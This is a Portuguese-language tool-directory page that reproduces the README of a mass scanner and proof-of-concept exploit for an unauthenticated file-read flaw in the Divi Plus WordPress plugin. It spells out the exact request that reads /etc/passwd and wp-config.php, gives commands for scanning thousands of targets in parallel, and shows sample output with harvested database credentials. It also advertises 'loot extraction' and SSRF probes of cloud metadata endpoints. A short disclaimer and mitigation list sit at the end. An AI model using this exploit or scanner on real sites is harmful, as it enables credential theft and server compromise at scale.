Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-91136 — Scanner em massa e exploit PoC para CVE-2026-91136, uma leitura arbitrária de arquivos não autenticada no plugin Divi Plus para WordPress através do parâmetro REST svg_image. | Kitploit
Ferramentas/GitHubGitHub/fl0ydsec/cve-2026-91136
ReconhecimentoScanners de VulnerabilidadesScanners de Vulnerabilidades WebExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança Web
GitHubfl0ydsec/cve-2026-91136

CVE-2026-91136

Scanner em massa e exploit PoC para CVE-2026-91136, uma leitura arbitrária de arquivos não autenticada no plugin Divi Plus para WordPress através do parâmetro REST svg_image.

5há 25 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

CVE-2026-91136 — Divi Plus ≤ 2.4.0 — PoC de Leitura Arbitrária de Arquivos Não Autenticada

Divi Plus (Elicus) — plugin WordPress ≤ 2.4.0 — leitura arbitrária de arquivos não autenticada através do parâmetro svg_image do namespace REST elicus/v1.

CVE-2026-91136 CVSS WordPress Auth

Author Python Telegram


📋 Visão Geral da Vulnerabilidade

AtributoDetalhes
ID CVECVE-2026-91136
Cadeiasvg_image → file_get_contents() (fallback wp_remote_get) → JSON html
Severidade🟠 ALTA (CVSS 7.5)
AlvoDivi Plus (Divi Extended / Elicus)
Afetado≤ 2.4.0
Corrigido2.4.1
Autenticação NecessáriaNenhuma

🔍 Descrição Técnica

SVGAnimatorController::index_permission retorna true incondicionalmente, portanto o endpoint /wp-json/elicus/v1/dipl-modules/svg-animator é acessível sem autenticação. A entrada svg_image passa apenas por sanitize_text_field() e esc_html() — que não restringem caminhos do sistema de arquivos, o wrapper de stream file:// ou URLs remotas — antes de ser passada para file_get_contents() (com fallback para wp_remote_get()). O corpo bruto da resposta é retornado no campo JSON html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Impacto: leitura de /etc/passwd, wp-config.php (credenciais de BD + salts de autenticação), metadados de cloud via SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env e qualquer outro ficheiro que o utilizador web consiga ler.


🚀 Utilização

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
OpçãoDescrição
-u/--url URLAlvo único
-i/--input FILEArquivo de alvos, um por linha (comentários com # permitidos)
-t/--threads NThreads (solicitadas interativamente se omitidas)
--timeout NTempo limite da requisição (padrão 12)
-q/--quietMostrar apenas os hits; o restante vai para o contador inline
-v/--verboseMostrar uma linha por alvo
-o/--output FILEGravar resultados em JSONL + FILE.hits.txt

📊 Saída

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980
  • barra de progresso única em linha: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
  • results.hits.txt — apenas alvos confirmados como vulneráveis

⚙️ Funcionalidades

  • Fingerprint: resposta do endpoint svg-animator + versão via assets divi-plus ?ver=
  • Oráculo de versão: o ramo vulnerável retorna o corpo dos ficheiros; o ramo corrigido/WAF retorna 403/vazio
  • Descoberta de wp-config.php: candidatos fixos + diretórios reais /home/<user>/ extraídos de /etc/passwd
  • Sondas SSRF: endpoints de metadados AWS / GCP / Azure / DigitalOcean / OCI
  • Extração de loot: credenciais de BD + salts de autenticação do WordPress, com links diretos reutilizáveis por descoberta
  • Modo massivo: pool de threads, deduplicação, contagem em tempo real ✓/✗, exportação JSONL + hits

📁 Estrutura de Ficheiros

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Aviso legal

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigação

  1. Atualize o Divi Plus para 2.4.1 (ou posterior)
  2. Rotacione quaisquer credenciais expostas por meio da leitura de arquivos
  3. Bloqueie GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator no WAF
  4. Monitore os logs em busca de valores svg_image contendo file://, /etc/ ou IPs de metadados

👤 Autor

fl0ydsec (Floydroot)

GitHub Telegram

Pesquisa de Segurança

Baixar ferramenta